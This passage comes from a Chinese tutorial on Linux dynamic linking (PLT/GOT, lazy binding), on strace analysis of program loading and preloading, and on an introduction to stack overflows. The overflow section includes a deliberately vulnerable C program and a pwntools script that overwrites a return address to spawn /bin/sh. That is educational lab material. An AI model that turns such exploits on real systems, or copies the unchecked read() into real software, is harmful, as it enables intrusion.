: ... 401145: e8 f6 fe ff ff callq 401040 ... ``` 可以看到`main()`函数对`printf()`函数的调用，编译后变成了对`puts@plt`的调用，这个`put@plt`就是一个PLT条目，也就是`puts()`函数对应的PLT条目。 > 这里`printf()`函数的调用变成`puts@plt`的调用是编译器处理程序调用共享库函数的结果，也就是前面所提到的静态地处理一部分链接工作。然后可以查看这个PLT条目的内容： ```tex yzh@ubuntu:~/workstation/dynamic_linkage$ objdump -d helloworld 0000000000401040 : 401040: f3 0f 1e fa endbr64 401044: f2 ff 25 15 23 00 00 bnd jmpq *0x2315(%rip) # 403360 40104b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) ``` 当程序跳转到`puts()`函数的PLT条目时，会执行上面的代码（PLT条目位于.plt.sec节，而这个节位于代码段）。而这段代码所执行的操作是跳转到存储在0x403360处的地址： ```tex yzh@ubuntu:~/workstation/dynamic_linkage$ objdump -D helloworld 0000000000403348 <_GLOBAL_OFFSET_TABLE_>: 403348: 68 31 40 00 00 pushq $0x4031 ... 40335d: 00 00 add %al,(%rax) 40335f: 00 30 add %dh,(%rax) 403361: 10 40 00 adc %al,0x0(%rax) 403364: 00 00 add %al,(%rax) ``` 可以看到0x403360其实就位于GOT中，属于数据段，并且还可以注意到GOT的起始地址是0x403348，这两个地址之间的差，恰好是3个64位的地址，也就是说0x403360 = GOT + 0x18，后面会解释这里为什么要使用这样的表示方法。这个地址实际上是用于存储`puts()`函数在内存中的地址的，但是第一次调用这个函数的时候这个函数的地址还未被解析，这就是==延迟链接==(Lazy link)。延迟链接意味着动态链接器只有在共享库函数被调用时才会解析函数的地址，而不是在加载的时候将所有的共享库函数的地址解析出来，这样做的原因是为了降低程序加载时的工作负荷。PLT的设计就是为了进行延迟链接。而位于0x403360的地址是0x401030（注意这里是小端方式存储），也就是说程序现在会跳转到0x401030的地址处执行： ```tex 0000000000401020 <.plt>: 401020: ff 35 2a 23 00 00 pushq 0x232a(%rip) # 403350 <_GLOBAL_OFFSET_TABLE_+0x8> 401026: f2 ff 25 2b 23 00 00 bnd jmpq *0x232b(%rip) # 403358 <_GLOBAL_OFFSET_TABLE_+0x10> 40102d: 0f 1f 00 nopl (%rax) 401030: f3 0f 1e fa endbr64 401034: 68 00 00 00 00 pushq $0x0 401039: f2 e9 e1 ff ff ff bnd jmpq 401020 <.plt> 40103f: 90 nop ``` 0x401030就是.plt节，通过查看程序头表可以发现，.plt节就位于代码段中，所以是可执行的。这段代码的含义就是：*在栈中压入两个参数0x0, 0x403350(GOT + 0x8)，然后让程序跳转到存储在0x403358处的地址(GOT + 0x10)去执行*。后面会看到，这里的0x0其实就是`puts()`函数的地址在GOT中的索引值，实际上就是前面的GOT + 0x18，为了方便后面的描述，这里将GOT + 0x18记为GOT[3]，其他的GOT中的偏移位置也同理。也就是说.plt节中的代码会将GOT[3], GOT[1]的地址压入栈中，然后跳转到存储在GOT[2]处的地址。 GOT的前三个条目是保留为固定的参数： - GOT[0]：保存了PT_DYNAMIC类型的段（也就是DYNAMIC段）的地址，这个段中保存这动态链接器执行动态链接所必须的信息，可以使用readelf -d 命令来查看DYNAMIC段中保存的内容 - GOT[1]：保存了link_map的地址，是动态链接器进行符号解析所需要的信息 - GOT[2]：保存了动态链接器的地址`_dl_runtime_resolve()`，这个函数用于解析共享库函数实际的地址在了解了这些内容后，再次看.plt节中代码就能够理解动态链接的过程： .plt节将`puts()`函数的地址在GOT中的偏移量以及link_map的地址作为参数压入栈中，然后调用函数`_dl_runtime_resolve()`来解析`puts()`函数的地址，解析完成后，动态链接器将`puts()`函数在内存中的实际地址写入到GOT中，也就是写入到GOT[3]中。如果后面函数再次调用`puts()`函数时，依然是跳转到`puts@plt`，然后`put@plt`会跳转到GOT中`puts()`函数真正的地址，而不需要再次执行延迟链接的过程。 ==动态链接的具体原理实际上就是在程序内存中预留一定的空间(GOT，即.got.plt节，因为需要读写，所以位于数据段)，用于存储共享库函数在内存中的地址，然后当程序运行时调用动态链接器查找共享库函数的实际地址，再将这个地址返回并写入到之前预留的空间中，这样，当程序再次调用这个共享库函数的时候就直接从GOT中取这个函数的地址即可。== 静态链接和动态链接并不是完全割裂的，下图展示一个程序链接的完整过程： ![program linkage](./image/program_linkage.png) 一般来说，一个程序通常是先进行静态链接（链接编辑）生成可加载文件，调用加载器进行加载之后再进行运行时的动态链接。静态链接是为了处理模块间的引用以及共享库函数的部分静态链接，而动态链接则是解决共享库函数的调用问题。 ## 0x03 使用strace 这里将会使用strace工具分析Linux中程序加载的过程，试图分析出进程在执行程序员所写的代码之前会调用的系统调用，以及这些系统调用的含义。当然，这里只是从系统调用的层面讨论程序加载的过程。这部分的内容主要是介绍如何使用strace，以及如何查看目标进程的内存镜像，比较重要的内容是动态链接器加载共享目标的过程。 ### 进程创建这里需要介绍一下进程创建的过程，因为程序在被加载之前需要让父进程为该程序创建一个新的进程。在进程的执行过程中，一个进程可能需要创建一个新的进程，一般将新创建的进程称为子进程，而创建子进程的进程称为父进程。新创建的子进程也可以继续创建其他进程，这样就构成了一个进程树。大多数操作系统中都会使用一个唯一的进程标识符(process identifie, or pid)来标记进程，通常这个进程标识符都是一个非负整数。在Unix系统中，使用"fork()"系统调用来创建一个新的进程，新的进程由父进程的地址空间的副本组成，也就是说子进程和父进程的地址空间是一样的，这样的机制能够让这两个进程更容易进行通信。==父进程和子进程都会继续执行在"fork()"系统调用之后的指令，但有一点不同：对于子进程，"fork()"函数的返回值为0；对于父进程，"fork()"函数的返回值为子进程的pid(nonzero)。== 在执行了"fork()"系统调用之后，子进程通常会通过"execv()"系统调用使一个新的程序取代这个进程原来的内存空间（因为在调用"execv()"函数之前子进程和父进程的内存镜像是完全一样的）。"execv()"系统调用会将一个二进制文件加载到内存中，并且摧毁调用该函数的进程的内存镜像，然后开始执行这个二进制文件。在这种情况下，这两个进程能够进行通信，并且按照不同的指令路线执行。父进程可以继续创建更多的子进程；或者如果没有什么任务的话，可以使用"wait()"系统调用将自己从就绪队列中移出去，直到子进程终止。因为对`execv()`的系统调用会让新的程序覆盖原来进程的地址空间，所以`execv()`不会返回控制，除非遇到错误。更多细节可以参考*operating system concepts*。再结合前面程序加载的内容，可以理解到，如果在终端输入命令：`` 那么在shell程序中就会执行类似下面的代码： ```c ... pid_t pid = fork(); if(pid == 0) { /* child process */ char *args[2]; char *envp; execve("", args, envp); exit(0); } wait(&status); ... ``` 也就是说，shell程序会调用"fork()"函数生成一个子进程，然后子进程会执行"execv()"函数来加载需要运行的进程，从而使进程被加载运行。所以任何进程所执行的第一个系统调用都必然是"execv()"。 ### 无地址随机化这里先分析最简单的情况，即程序没有使用标准库函数，也没有启用地址无关化(Position Independent Executable, PIE)。 > 前面介绍过Unix下的共享库文件中的代码是地址无关的，但是实际上，可执行文件也可以是地址无关的，开启了地址无关的可执行文件中ELF类型会是"ELF_DYN"的类型，也就是共享库文件。 > > 开启了地址无关话后，程序每次执行时都会被加载到一个随机的地址，也就是地址随机化(Address Space Layout Randomization, ASLR)，这样做是为了避免程序受到ROP攻击。前面介绍过，strace会跟踪进程执行期间所调用的所有系统调用，而strace的使用方法很简单： Usage: `strace ` 当然，strace能够支持很多中选项，具体可以参考手册"strace(1)"。实验中所追踪的程序源码如下： ```c /* nostd.c */ /* Compile: gcc -nostdlib nostd.c -o nostd */ int bss; int data = 1; int _start() { int buf = 0; int fd = 0; long len = 4; __asm__ volatile( "mov %0, %%edi\n" "mov %1, %%rsi\n" "mov %2, %%rdx\n" "mov $0, %%rax\n" "syscall\n" "mov $0, %%rdi\n" "mov $60, %%rax\n" "syscall\n" : : "g"(fd), "g"(&buf), "g"(len) ); return 0; } ``` 下图是使用strace跟踪一个完全没有使用库函数并且没有开启地址无关话的程序的结果： ![strace_nostd_nopie](./image/strace_nostd_nopie.png) 这个程序很简单，在"_start()"函数中使用"read()"系统调用读取4字节长的用户输入后就退出。 strace输出的每一行都是以"="分割为两个部分，等号左边表示具体的系统调用以及系统调用所接受的参数，等号右边表示该系统调用的返回值。但是程序运行时的内存镜像如下： ![nostd_nopie_maps](./image/nostd_nopie_maps.png) 上面图片的内容各字段的含义从左到右依次如下： - address - (start address - end address) - permissions - 表示这块地址区域的内存保护情况 - offset - 非零表示该地址空间在文件中的偏移量 - device - 非零表示映射到该地址空间的文件所在的设备的设备号 - inode - 非零表示映射到改地址空间的文件号 - path - 如果这块地址空间中存放着一个文件映射到内存中的内容，那么这一列的内容表示该文件的路径；当然也有一些比较特殊的区域，比如[stack], [heap], [vvar], [vdso], [vsyscall]等。而通过readelf工具可以发现，上面映射内容的前3行是可执行文件的第1到第3个可加载段(loadable segment)：第一个可加载段中的内容是ELF文件头，程序头表等内容；第二个可加载段是可执行文件的text段；第三个可加载段是可执行文件的data段。第4行所表示的地址空间与data段是相连的，但是又不是某个文件内容中映射的地址，所以这个地址空间所表示的就是系统为未初始化的数据所划分的地址空间。第5行就是栈(stack)区域所在的地址空间了，根据前面介绍程序加载时的内容可以了解到，栈区域就是一个进程内存映射的最高地址空间了。另外值得注意的一点是，这个程序的内存镜像中并没有动态库映射的区域和堆区域。但是这里含有另外三个没见过的地址区域，vvar, vdso, vsyscall，这三个区域与虚拟系统调用(Virtual System Call)相关。 > 为了让一些并不需要运行在内核空间的系统调用能够更快地执行，Unix引入了虚拟动态共享目标(Virtual Dynamic Shared Object, vDSO)的概念，其原理和共享库函数比较类似，并且内核会在程序每次执行的时候自动地将虚拟动态共享目标加载到一个随机的地址，即使程序并不会使用到这个动态共享目标中的功能。因为这里的可执行文件并不依赖这些虚拟系统调用，所以这里不做过多介绍。 ### 有地址随机化 **这部分的内容主要涉及动态链接器预加载共享目标的过程。** 这里还是上面的那个可执行文件，开启了地址无关化后strace追踪的结果如下： ![strace_nostd_pie](./image/strace_nostd_pie.png) 可以看到与上面的情况相比，这里多了一些不太容易理解的系统调用。想要理解这些系统调用的含义，还需要理解这些系统调用的参数和返回值，所以需要获取到目标进程的内存镜像： ![nostd_pie_maps](./image/nostd_pie_maps.png) 地址无关化的过程需要动态链接器(ld-2.31.so)的协助，所以开启了地址无关化的程序会在加载过程调用动态链接器，尽管程序并没有调用标准库函数，而动态链接器本身也是一个共享目标(ET_DYN)文件。 > 这也就意味着，如果在编译过程中使用了编译选项"-static"，那么程序将无法开启地址无关化，即使编译时也使用了"-pie"选项。可以将目标进程的内存镜像与下图进行对比： ![memory image](./image/memory_image.png) 需要注意的是，内存镜像中从上往下是低地址到高地址，而上图中从上往下则是高地址到低地址。接下来，将会结合进程运行时的内存镜像来分析相关系统调用的作用。这里把多出来的系统调用单独拎出来进行分析： ```c /* set the end of heap */ brk(NULL) = 0x560a33c61000 /* ignore this system call */ arch_prctl(0x3001 /* ARCH_??? */, 0x7ffd10578a20) = -1 EINVAL (Invalid argument) /* check for preload, but there didn't require for preload */ access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) /* allocate memory for FS register */ mmap(NULL, 8192 /*0x2000*/, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f25771e4000 /* set FS register to the allocated memory */ arch_prctl(ARCH_SET_FS, 0x7f25771e4a80) = 0 /* set the access flag of data segment */ mprotect(0x560a3372e000, 4096 /*0x1000*/, PROT_READ) = 0 ``` 这部分的系统调用的作用依次是，设置堆区域大小，处理预加载，设置FS寄存器，设置数据段访问权限。后面会依次介绍这些系统调用的具体含义。 **brk()** 原型： ```c #include int brk(void *addr); ``` 该系统调用用于修改"program break"，也就是程序数据段结束地址，即program break 就是在最后一个未初始化的data段后的第一个地址。 > 注意未初始化的数据放在.bss节中，但是.bss节不占用文件空间，而是在加载的时候在内存中分配空间。这个系统调用会接受一个 *addr* 参数，将程序的 program break 设置为这个地址，如果这个参数为NULL，则会自动选择合适的program break，并且会返回最终设置的地址。一般来说，==brk()系统调用返回的地址是堆区域的结束地址==。但是从进程运行时内存镜像中可以看到，该内存并没有堆区域，而原因可能是因为这个程序并没有调用共享库中的函数，但是 brk() 系统调用所返回的地址依然算是程序的数据段结束地址，所以程序依然可以使用这块区域。 #### 预加载设置好进程的堆区域结束地址后，将会准备预加载的工作。这里将会介绍几种用于动态链接器预加载的方法： 1. 程序默认会选择的方法，也就是这里的access()系统调用 2. 命令行指令指定预加载 3. 环境变量指定预加载 **access()** 函数原型： ```c #include int access(const char *pathname, int mode); ``` 这个系统调用会检查由 *pathname* 参数指定的文件是否是可访问的，而参数 *mode* 指定了访问权限，比如"R_OK", "W_OK"以及"X_OK"分别表示读, 写和执行权限，而"F_OK"模式只是用于检查该文件是否存在。更多细节可以参考手册"acess(2)"。所以上面的系统调用用于检查文件"/etc/ld.so.preload"文件是否是可读的，下面的内容会对这个文件的作用进行介绍。 ##### 动态连接器加载共享目标前面介绍动态链接的时候已经介绍过，程序的动态链接的原理是让一个动态链接器在运行时对共享库函数的地址进行解析，以供程序对动态库函数调用。但是在这里，将会对动态链接器如何加载共享库文件的过程进行详细的介绍。这里提到的"ld.so"或者"ld-linux.so*"就是动态链接器程序（注意动态连接器本身也是共享库文件），这个程序会加载共享目标，并对共享库函数的地址进行解析。 ELF文件的.interp 节中包含文件指定的动态链接器的路径，从而自动进行动态链接。但是也可以使用下面的命令使用指定的动态链接器进行动态链接： `/lib/ld-linux.so.* [OPTIONS] [PROGRAM [ARGUMENTS]]` #1. 路径指定的共享目标文件可以在命令行中指定共享库文件的路径，在解析共享对象的依赖时，动态链接器首先会检查每个依赖项中字符串中是否包含"\\"字符（因为如果在链接时以路径指定共享对象时，依赖项中就会包含斜杠），如果找到了斜杠，则会将依赖项字符串解释为（绝对或者相对）路径，并且使用这个路径加载共享对象。 #2. 非路径指定的共享目标文件如果共享对象的依赖项字符串中没有斜杠，则说明这个字符串不是路径，那么动态链接器就按照下面的顺序进行解析： 1. 使用二进制文件 .dynamic 节中的DT_RPATH条目指定的目录加载共享目标文件(use of DT_RPATH is deprecated) 2. 使用环境变量 LD_LIBRARY_PATH 指定的路径，如果二进制文件执行在安全模式下，那么这个变量会被忽视在Linux中使用 `env` 命令可以看到系统中配置的所有环境变量。 3. 使用二进制文件 .dynamic 节中的DT_RUNPATH条目指定的目录加载共享对象，只有当搜索 DT_NEEDED 条目指定的依赖项时才会搜索DT_RUNPATH条目，并且不适用于这些依赖项的子对象，这些子对象必须拥有自己的DT_RUNPATH条目。与DT_RPATH不同的地方在于，DT_RPATH条目用于搜索依赖关系树中的所有子项 4. 从缓存文件/etc/ld.so.cache 中加载共享目标文件，这个缓存文件中包含一个候选共享目标文件的编译列表 5. 使用默认路径 /lib，然后是/usr/lib 这里介绍一些动态链接的命令行选项: - --argv0 string：在程序运行之前，将程序的 argv[0] 参数设置为 *string* - --list：列举所有的依赖项，并且演示这些依赖项是如何解析的 - --preload list：预加载参数 *list* 中指定的共享目标，参数 *list* 中的共享目标文件以冒号或者空格分割 - --inhibit-cache：忽略 /etc/ld.so.cache 文件 - --inhibit-rpath list：忽略由参数 *list* 指定的共享目标RPATH和RUNPATH的信息除了这些选项，各种环境变量也会影响动态链接器加载共享目标的过程，而这里对预加载相关的环境变量进行介绍： LD_BIND_NOW：这个环境变量包含了一个追加的、用户指定的ELF共享目标文件的列表，这个列表中的共享目标文件会在其他所有共享目标文件之前加载，==所以通过这个特性，可以重写其他共享目标文件中的函数==。这个列表中的共享目标可以用冒号或者空格进行分割，并且不支持对分隔符进行转义。列表中的共享目标可以使用前面介绍过的方法进行搜索，并且会按照从左到右的顺序添加到依赖关系树中。如果在安全模式下执行可执行文件，那么预加载的共享目标中如果是路径指定的就会被忽略。可以通过下面的方法指定预加载的共享库，并且动态链接器会按照下面的顺序进行处理预加载： (1). LD_PRELOAD环境变量 (2). 如果直接调用动态链接，那么可以--preload 命令行选项 (3). 使用"/etc/ld.so.preload"文件 ==与LD_PRELOAD相比，--preload选项提供了一种对单个可执行文件执行预加载的方法，并且不会影响该程序的子进程的共享库预加载过程==。这里对"/etc/ld.so.preload"文件进行介绍：这个文件中包含以空格分割的共享目标列表，如果同时使用了LD_PRELOAD环境变量和"/etc/ld.so.preload"文件，那么就会预加载LD_PRELOAD指定的库。 =="/etc/ld.so.preload"文件具有系统范围的效果，会导致系统上执行的所有程序预加载指定的共享库==。（这通常是不可取的，并且通常仅用于紧急补救措施，比如作为库配置错问题的临时解决方法。）因为"/etc/ld.so.preload"文件的效果是系统范围的，所以每个程序执行时都会检查这个文件是否是可访问的。 #### FS 寄存器再然后就是下面这条系统调用，这个系统调用的作用其实就是"malloc()"函数，用于请求分配一个大小为8192字节的空内存空间，并且这个空间的访问权限为读写，内存空间的属性是"Pravate"并且"Anonymous"的，通过进程运行时的内存镜像可以看到，其实这块空间就是共享库区域上面的那一行空间，与共享库是紧挨着的，下面对这块内存区域的作用进行详细介绍。下面的一条系统调用是： `arch_prctl(ARCH_SET_FS, 0x7f25771e4a80)` **arch_prctl** 函数原型： ```c #include /* Definition of ARCH_* constants */ #include /* Definition of SYS_* constants */ #include int syscall(SYS_arch_prctl, int code, unsigned long addr); int syscall(SYS_arch_prctl, int code, unsigned long *addr); ``` 注意，glibc中并没有对arch_prctl()进行封装，所以需要使用syscall()函数进行调用。这个系统调用用于设置特定于体系结构的进程或线程状态，*code* 参数用于指定相应的子函数，或者可以理解对系统调用要执行的操作，并将 *addr* 参数传递给该系统调用，对于 "set" 操作，参数 *addr* 会被解释为unsigned long类型；对于"get"操作，参数 *addr* 会被解释为unsigned long *类型。 *code* 参数可选为"ARCH_SET_CPUID", "ARCH_GET_CPUID", "ARCH_SET_FS", "ARCH_GET_FS", "ARCH_SET_GS", "ARCH_GET_GS"。这里的各种操作的具体含义不做详细介绍，具体可以参考手册。如果系统调用成功执行，则返回0，否则返回-1。更多细节可以参考手册"arch_prctl(2)"。所以这里的系统调用的含义是，将 *FS* 寄存器设置为 *addr* 指定的地址，即0x7f25771e4a80，而这块地址正好就位于前面请求的一块匿名内存中。 **FS register** 分段式的内存访问(Memory Segmentation)实际上是一种比较老的内存访问机制，因为早先的体系架构中寄存器只有16位，而地址总线的宽度有20位，那么想要通过寄存器指定某个地址，就必须用两个寄存器来表示的一个地址：其中一个用于表示该地址所在的段(Segment)，另一个用于表示该地址在这段中的偏移量。用于表示段的寄存器就被称为段寄存器，常见的段寄存器有: CS(Code segment), DS(Data segment), SS(Stack segment), ES(Extra segment), FS, GS FS和GS没有特定的意义，在不同的操作系统上，有着不同的用途，这些用途都是处理器指定的。**这里的系统调用以及FS寄存器可能都与Intel的CET技术相关，这在后面的实验中可能会用到。**此外，栈保护机制的canary也是依赖FS所指向的段中的内容，对于开启了栈保护的二进制文件，可以看到每个函数的开头和结尾都插入了一条与FS寄存器相关的指令。而在Linux系统下，FS指向的区域为TLS(Thread Local Storage)，GS指向的区域为PDA(Processor Data Area)。不过FS和GS实际上并不是常用的寄存器。 ==所以在没有调用标准库函数的情况下，如果编译选项开启了地址随机化，那么目标进程的执行顺序就是：调用execve() 进行加载，使用brk()函数得到堆区域的结束地址，处理预加载，设置FS寄存器，设置数据段的读权限==。在后面的内容中还会在遇到这里介绍的内容，比如可以使用brk() 函数扩大进程的堆区域用于注入代码，又或者可以借助预加载机制覆盖一些标准库函数。 ### 有标准库函数前面分析的两个例子中都排除了程序调用标准库函数的情况，而现在，将会对程序调用了标准库函数的情况进行分析，了解程序在进行动态链接之前都做了什么。这部分内容主要设计动态连接器加载共享目标的过程。实验中所追踪的程序源码如下： ```c #include int a; int main() { char c = getchar(); return 0; } ``` 这里用于实验的被追踪程序只是简单的调用getchar()函数以供我们在程序运行时进行分析，关闭地址随机化，使用strace追踪的结果如下： ![strace_std_nopie](./image/strace_std_nopie.png) 被追踪的程序运行时的内存映射如图所示： ![std_nopie_maps](./image/std_nopie_maps.png) 从进程的内存镜像可以看出，调用了共享库中的函数后，那么进程不但要在其内存空间中加载动态链接器 ld.so ，还要加载共享库 libc.so ，这两个文件都属于进程内存空间的共享库区域。而且，这三个文件都是以ELF格式进行加载的，所以一个使用共享库函数的动态链接可执行文件的内存镜像中通常包含3个ELF格式的内存镜像：可执行文件自身的，libc.so, ld.so 。可以看多这里又多出来一些别的系统调用，这里将完整的分析动态链接器加载共享目标的过程： ```c execve("./stdlib", ["./stdlib"], 0x7fffb0455720 /* 49 vars */) = 0 /* set program break */ brk(NULL) = 0x992000 /* refer to vvar region, just ignore it */ arch_prctl(0x3001 /* ARCH_??? */, 0x7fff8ae37c30) = -1 EINVAL (Invalid argument) /* check for preload */ access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) /* it's going to load shared object specificed in /etc/ld.so.cache */ openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=65084, ...}) = 0 mmap(NULL, 65084, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f7a13282000 close(3) = 0 /* prepare for load shared object in /lib directory */ openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300A\2\0\0\0\0\0"..., 832) = 832 pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784 pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32 pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\30x\346\264ur\f|Q\226\236i\253-'o"..., 68, 880) = 68 /* prepare for load shared object in /usr/lib directory */ fstat(3, {st_mode=S_IFREG|0755, st_size=2029592, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7a13280000 pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784 pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32 pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\30x\346\264ur\f|Q\226\236i\253-'o"..., 68, 880) = 68 /* load the shared object /usr/lib/x86_64_linux_gnu/libc.so */ mmap(NULL, 2037344, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f7a1308e000 mmap(0x7f7a130b0000, 1540096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7f7a130b0000 mmap(0x7f7a13228000, 319488, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19a000) = 0x7f7a13228000 mmap(0x7f7a13276000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f7a13276000 mmap(0x7f7a1327c000, 13920, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f7a1327c000 close(3) = 0 /* set FS register */ arch_prctl(ARCH_SET_FS, 0x7f7a13281540) = 0 /* set access permission of some area */ mprotect(0x7f7a13276000, 16384, PROT_READ) = 0 mprotect(0x403000, 4096, PROT_READ) = 0 mprotect(0x7f7a132bf000, 4096, PROT_READ) = 0 /* free the area used for map /etc/ld.so.cache */ munmap(0x7f7a13282000, 65084) = 0 fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0 /* set the heap of program */ brk(NULL) = 0x992000 brk(0x9b3000) = 0x9b3000 /* main() */ read(0, "\n", 1024) = 1 exit_group(0) = ? +++ exited with 0 +++ ``` 上面各种系统调用的作用已经在代码的注释中分析过了，所以这里就不再赘述。这里主要是看动态链接器加载共享目标的过程，具体的过程在前面也已经讨论过了，所以这里只是展示共享目标的加载过程，并没有比较新的东西。 ## 0x04 栈溢出(Optional) ROP(Return-Oriented Programming)，即面向返回的编程，是一种计算安全破解技术，在这种技术下，攻击者可以通过控制调用栈的来劫持程序的执行路径，然后引导目标程序执行一些精心选择的在内存上已有的机器指令序列，这些机器代码序列被称为"gadgets"。每一个"gadgets"中都包含一个返回指令(`ret`指令)，并且返回的地址就是下一个需要执行的"gadgets"，通过拼接目标进程内存中已有的各种机器指令片段的方法，攻击者可以引导目标程序执行任意操作。在这部分内容中会对ROP技术进行简单的介绍，并且通过一些实例展示ROP的过程，演示如果通过ROP技术让一个目标进程执行`execve("/bin/sh")`语句，从而获取到目标进程所在的主机的shell。 ### Stack Overflow 在了解栈溢出的原理之前，需要先了解栈帧(stack frame)，也被称为调用栈(call stack)，其实就是通过用户栈来保存函数调用过程。因为栈是先入后出的数据结构，而==函数调用过程也是最先调用的函数只有当它所有调用的函数都执行完成后才能退出==。栈(stack)其实就是内存中的一段区域，在前面介绍程序链接的过程时就给出了进程在内存中的映射结构。栈空间和一般的栈数据结构一样，采用先入后出的访问规则。并且由高地址向低地址增长，用于保存函数中的局部变量，以及在函数调用的过程中向被调用函数传递参数，并保存当前函数的上下文(%rbp, %rip)。在X86-64结构体系中，使用%rsp寄存器保存栈顶地址，所以%rsp也被称为栈指针。帧(frame)其实对栈的划分，也就是当前正在执行的函数在栈中占用的区域，比如当前函数的局部变量，或者临时空间。在X86-64体系结构中，使用%rbp寄存器保存当前帧的基地址，所以%rbp也被称为帧指针。除了栈帧，这里还需要先介绍一下`call`指令和`ret`指令，在这前面的介绍中就可以看出，这两个指令在ROP中起着至关重要的作用： `call`指令：用于调用函数，该命令的具体行为如下： 1. 将当前的程序计数器%rip的内容压入栈中：`push %rip` 2. 将`call`指令的操作数放入程序计数器%rip中，从而实现跳转：`jmp ` `ret`指令：用于从当前函数返回到调用该函数的函数中，该命令的具体行为如下： 1. 用栈中的数据修改程序计数器%rip：`pop %rip` 修改的程序计数器就可以直接完成跳转了。 ![stack](./image/stack.png) 上面这张图就展示一个函数调用了另一个函数后调用栈的一种可能的状态，从%rbp指向的地址开始，到%rsp指向的地址结束，就是当前正在执行的函数的栈帧。这里使用栈向调用的函数传递参数(argument #1, argument #2)，被调用函数可以通过帧指针的偏移量来访问对应的参数，比如argument #1 = *(%rip + 0x10)。同样，当前函数访问自己的局部变量时也是通过帧指针的偏移量来访问的。 ROP技术通常是从一个栈溢出点开始，所以在介绍ROP之前，这里需要介绍一下栈溢出原理：下面这段代码是存在栈溢出的一个程序的源代码： ```c // vuln.c // gcc -fno-stack-protector -no-pie vuln.c -o vuln #include #include #include void exploit() { char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve("/bin/sh", shell, NULL); } void func() { char str[0x20]; read(0, str, 0x50); } int main() { func(); return 0; } ``` `read()`函数原型： ```c #include ssize_t read(int fd, void *buf, size_t count); ``` 该函数会从 *fd* 指定的文件中读取 *count* 个字节写入 *buf* 指定的地址。当fd = 0时，将会向标准输入流读取 *count* 个字节写入 *buf* 指定的地址。将上面的源码进行编译：`gcc -fno-stack-protector -no-pie vuln.c -o vuln` 这两个编译选项中，`-fno-stack-protector`用于关闭栈保护，避免其生成canary，`-no-pie`用于关闭地址随机化，这样就可以通过objdump命令直接查看函数的地址。然后使用objdump查看其汇编代码： ```assembly 0000000000401156 : ... 0000000000401172 : 401172: f3 0f 1e fa endbr64 401176: 55 push %rbp 401177: 48 89 e5 mov %rsp,%rbp 40117a: 48 83 ec 20 sub $0x20,%rsp 40117e: 48 8d 45 e0 lea -0x20(%rbp),%rax 401182: ba 50 00 00 00 mov $0x50,%edx 401187: 48 89 c6 mov %rax,%rsi 40118a: bf 00 00 00 00 mov $0x0,%edi 40118f: b8 00 00 00 00 mov $0x0,%eax 401194: e8 c7 fe ff ff callq 401060 401199: 90 nop 40119a: c9 leaveq 40119b: c3 retq ``` 可以看出，在`func()`函数中，栈指针开了0x20个字节的栈空间(`sub $0x20, %rsp`)，但是在调用`read()`函数时允许用户输入0x50个字节，所以这里就会有溢出点。注意，在读取用户输入时，用户输入的字节是从参数指定的地址(%rbp - 20)的地址开始往当前帧的基地址(%rbp)的方向保存的，而这个方向也正是保存函数返回地址(%rbp + 8)的方向。所以可以通过栈溢出，让用户输入的字节覆盖调当前函数的返回地址，并且覆盖的内容就是目标函数的地址(0x0000000000401156)。所以输入的内容应该是：'a' * (0x20 + 8) + 0x0000000000401156 当目标进程读取到这样的输入后，就会从`func()`函数跳转到`exploit()`函数，从而运行shell程序。接下来将会演示如何引导这个目标程序调用shell程序。在这之前需要介绍一下需要使用到的工具： #1. [peda](https://github.com/longld/peda) GDB中的一个插件，在调试程序时会直接打印出当前栈帧的存储内容，以及通用寄存器当前的值，还可以用于计算缓冲点的偏移量， #2. [pwntools](https://docs.pwntools.com/en/stable/#) Python中的一个库，这个库中包含了很多用于执行缓冲区溢出的工具，这里，我们只将其用来构造用户输入，从而引导目标程序执行shell程序。下面的代码是用python写的，用于运行vuln程序，并且向这个程序发送一段设计好的payload，并且进入该程序的交互模式。 ```python # exploit0.py # python3 exploit0.py # import the pwntools module from pwn import * # create a process p = process("./vuln") # construct a payload payload = bytes('a' * 0x28, 'utf-8') + p64(0x401156) # send the payload to target process and enter interactive mode p.sendline(payload) p.interactive() ``` 在当前目录下运行这个python脚本： ![stack_overflow](./image/stack_overflow.png) 可以看到，这个python脚本成功地引导了目标进程执行shell程序，并且可以在这个shell程序中执行一些Linux命令。 ### ret2syscall 